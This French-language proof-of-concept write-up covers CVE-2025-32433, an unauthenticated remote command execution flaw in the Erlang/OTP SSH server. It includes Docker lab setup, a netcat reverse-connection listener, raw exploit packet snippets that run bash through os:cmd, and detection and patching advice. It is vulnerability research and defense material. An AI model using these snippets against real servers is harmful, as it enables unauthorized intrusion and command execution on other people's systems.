
Exploit de preuve de concept pour CVE-2025-32433, une vulnérabilité de confusion de canal pré-authentification SSH Erlang/OTP, démontrant le contournement de l'authentification et l'exécution de code à distance avec un laboratoire Docker.
Description : Une démonstration de la vulnérabilité de confusion de canal SSH avant authentification dans Erlang/OTP.
De quoi s'agit-il dans cette POC ?
Cette preuve de concept démontre CVE-2025-32433, une vulnérabilité dans l'implémentation du serveur SSH Erlang/OTP qui permet à un attaquant d'ouvrir des canaux SSH et d'exécuter des commandes avant l'authentification.
En raison d'une mauvaise application des transitions d'état du protocole SSH, certains messages SSH (SSH_MSG_CHANNEL_OPEN et SSH_MSG_CHANNEL_REQUEST) sont acceptés avant que l'authentification de l'utilisateur ne soit terminée. Cela conduit à un contournement complet de l'authentification et à une exécution de commandes à distance dans la machine virtuelle Erlang.
Qu'est-ce qui doit être vulnérable pour que cela fonctionne ?
La vulnérabilité peut être déclenchée lorsque les conditions suivantes sont réunies :
ssh est activéeIl est important de noter que ce problème ne dépend pas de mots de passe faibles ou d'une mauvaise configuration, mais d'une gestion incorrecte de l'état du protocole.
Comment la vulnérabilité se manifeste-t-elle et pourquoi est-elle exploitable ?
Le problème provient d'un défaut de confusion d'état dans le serveur SSH Erlang/OTP, où l'état d'authentification n'est pas strictement appliqué avant le traitement des messages liés aux canaux.
À un niveau élevé, l'exploitation se déroule comme suit :
SSH_MSG_CHANNEL_OPEN pour un canal de session.SSH_MSG_CHANNEL_REQUEST de type exec est envoyée sur le canal ouvert.os:cmd/1) dans le contexte de la VM.Ce comportement viole le modèle de protocole SSH défini dans RFC 4252/4254, où la création de canaux et les demandes ne doivent être autorisées qu'après une authentification réussie.
En bref :
ssh_connection traite les requêtes exec prématurémentIl s'agit d'une vulnérabilité de logique et de gestion d'état, pas d'une faiblesse cryptographique.
Les étapes suivantes construisent et déploient un environnement vulnérable autonome à l'aide de Docker. Le conteneur exécute un serveur SSH délibérément durci qui rejette toutes les informations d'identification, garantissant que toute exécution de commande réussie est le résultat d'un contournement de l'authentification.
git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
docker build -t erlang-ssh .

docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh
Une fois en cours d'exécution, le démon SSH sera exposé sur le port 2222 et prêt à être exploité à l'aide de la POC fournie.
Ce script exploite une faille dans le serveur SSH Erlang/OTP qui permet à certains messages de protocole SSH d'être traités avant l'authentification.
Le processus d'exploitation nécessite deux terminaux : l'un pour recevoir la connexion inverse, et l'autre pour lancer l'exploit.
Récepteur (Terminal 1) :
nc -lvnp 4488
Exécution de l'exploit (Terminal 2) :
python3 exploit.py
Usurpation de protocole
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
s.sendall(pad(kex))
Ces messages sont utilisés pour faire croire au serveur que la connexion provient d'un client SSH légitime. Ils font avancer l'état du protocole SSH suffisamment loin pour autoriser les messages liés aux canaux sans terminer l'authentification.
Canal de session avant authentification
s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
Cette requête est utilisée pour ouvrir un canal de session avant l'authentification. Sur les serveurs SSH Erlang/OTP vulnérables, cela contourne les contrôles d'accès normaux et crée une session non autorisée.
Demande d'exécution de commande
erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
Cette requête est utilisée pour déclencher l'exécution de commandes via le runtime Erlang. L'encapsulation de la charge utile dans la syntaxe Erlang garantit que la commande est exécutée par la VM Erlang plutôt que traitée comme une commande shell SSH standard.
Si la cible est vulnérable, la commande fournie est exécutée sans authentification.


La défense contre cette vulnérabilité repose sur une segmentation réseau stricte et une surveillance au niveau du protocole, car les journaux d'authentification standard peuvent ne pas enregistrer les tentatives de contournement (puisque l'authentification est ignorée).
SSH_MSG_CHANNEL_OPEN (Type 90) sont envoyés immédiatement après l'échange de clés, sans paquet SSH_MSG_USERAUTH_SUCCESS (Type 52) précédent.os:cmd ou le lancement de processus shell qui ne sont pas corrélés à une session utilisateur connectée avec succès dans les journaux d'application.La seule remédiation complète consiste à corriger le runtime Erlang/OTP sous-jacent pour imposer des transitions d'état strictes.
Mettez à niveau le runtime Erlang/OTP immédiatement vers une version qui impose des vérifications d'authentification avant la création de canaux. Assurez-vous d'exécuter une version plus récente que celles listées dans la section "Conditions affectées".
Consultez les versions officielles Erlang/OTP sur GitHub pour les derniers correctifs de sécurité.